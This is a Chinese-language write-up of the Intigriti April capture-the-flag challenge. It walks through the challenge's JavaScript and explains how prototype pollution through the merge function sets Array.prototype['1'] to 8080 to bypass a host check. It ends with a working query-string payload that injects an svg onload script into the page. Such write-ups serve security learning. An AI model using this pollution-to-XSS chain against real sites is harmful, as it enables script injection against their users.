目录
首先查看源码编辑
分析
原理
第一次污染
第二次污染
污染config和settings的解
挑战的地址:Intigriti April Challenge
此时是无法看到源码的,需要进入到Window Maker的界面
此时在查看源码就可以看到源码了
由于源码比较多,我们不可能逐一分析。在原型链污染的漏洞中,我们首先就要查找merge函数
function main() {const qs = m.parseQueryString(location.search)let appConfig = Object.create(null)appConfig["version"] = 1337appConfig["mode"] = "production"appConfig["window-name"] = "Window"appConfig["window-content"] = "default content"appConfig["window-toolbar"] = ["close"]appConfig["window-statusbar"] = falseappConfig["customMode"] = falseif (qs.config) {merge(appConfig, qs.config)appConfig["customMode"] = true}let devSettings = Object.create(null)devSettings["root"] = document.createElement('main')devSettings["isDebug"] = falsedevSettings["location"] = 'challenge-0422.intigriti.io'devSettings["isTestHostOrPort"] = falseif (checkHost()) {devSettings["isTestHostOrPort"] = truemerge(devSettings, qs.settings)}if (devSettings["isTestHostOrPort"] || devSettings["isDebug"]) {console.log('appConfig', appConfig)console.log('devSettings', devSettings)}if (!appConfig["customMode"]) {m.mount(devSettings.root, App)} else {m.mount(devSettings.root, {view: function() {return m(CustomizedApp, {name: appConfig["window-name"],content: appConfig["window-content"] ,options: appConfig["window-toolbar"],status: appConfig["window-statusbar"]})}})}document.body.appendChild(devSettings.root)}function checkHost() {const temp = location.host.split(':')const hostname = temp[0]const port = Number(temp[1]) || 443return hostname === 'localhost' || port === 8080}function isPrimitive(n) {return n === null || n === undefined || typeof n === 'string' || typeof n === 'boolean' || typeof n === 'number'}function merge(target, source) {let protectedKeys = ['__proto__', "mode", "version", "location", "src", "data", "m"]for(let key in source) {if (protectedKeys.includes(key)) continueif (isPrimitive(target[key])) {target[key] = sanitize(source[key])} else {merge(target[key], source[key])}}}function sanitize(data) {if (typeof data !== 'string') return datareturn data.replace(/[<>%&\$\s\\]/g, '_').replace(/script/gi, '_')}main()
此题最终的触发流程在于document.body.appendChild(devSettings.root)
所以我们需要去修改devSettings.root的属性,往上追溯,如果要走到这个流程,必须改使得checkHost( )的值为ture,才能够进入merge方法中,对devSettings对象的值进行修改。
function checkHost() {const temp = location.host.split(':')const hostname = temp[0]const port = Number(temp[1]) || 443return hostname === 'localhost' || port === 8080
}
checkHost( )的判断条件为hostname等于localhost或是port等于8080,显然从正常情况下看来,无论如何都不可能满足这个条件的。但是作者在这里设计了一个很巧妙的代码,重点在于temp[1],temp是一个数组,从数组中取了下标1这个值。
'1' == 1
//ture
a['1'] == a[1]
//ture
JavaScript中,数组的下标可以用字符或是字符串数字来取值,所以在原型链中,我们可以给[ ]对象添加一个名称为1的属性,这样temp再通过下标1取值的时候,实际上取到的是数组中属性为1的值
[].constructor.prototype['1'] = 8080
//[1: 8080, constructor: ƒ, concat: ƒ, copyWithin: ƒ, fill: ƒ, find: ƒ, …]
根据代码逻辑,我们需要同时满足对象类型为Array,为什么这里要使用到Array呢?
原因就是appConfig["window-toolbar"] = ['close']是一个类似数组的对象,满足要求的只能是数组,因为下面的代码在取值的时候是以数组的形式在取值,因此赋值的时候也肯定要以数组的形式来传递。
可被merge的参数,满足这样条件的只有
appConfig["window-toolbar"] = ["close"]
我们的伪代码应当为
appConfig["window-toolbar"].constructor['1'] = 8080
接下来要做的,就是继续去替换devSettings.root的值了,替换body中的即可。
因为只有满足了appConfig["customMode"] = ture才能够让qs.Config替换掉appConfig,这样程序下能继续往下走。
传递的参数是
?config[window-toolbar][constructor][prototype][1]=8080
其中的constructor就相当于是Object原型
这次传递的是settings,需要满足devSettings["isTestHostOrPort"] = ture,才能满足merge函数,使得qs.settings能够替换到devSettings。然后使得程序能够继续往下走。
这里虽然settings传递进来了,但是是以key,vlaue的形式肯定是不行的,此时我们的root是创建出来的main。此时要给main中插入我们的HTML代码肯定是不能这样传值的,以上面这种方式肯定是插不进去的,此时我们思考的是,先用main找到我们的document,在找到body,依次往下找,最终找到我们可以插入的值。
payload
?config[window-toolbar][constructor][prototype][1]=8080&settings[root][ownerDocument][body][children][1][outerHTML][1]=%3Csvg%20onload%3Dalert(1)%3E
上一篇: 幼儿园自然灾害安全教育教案
下一篇: 幼儿园教师读书心得体会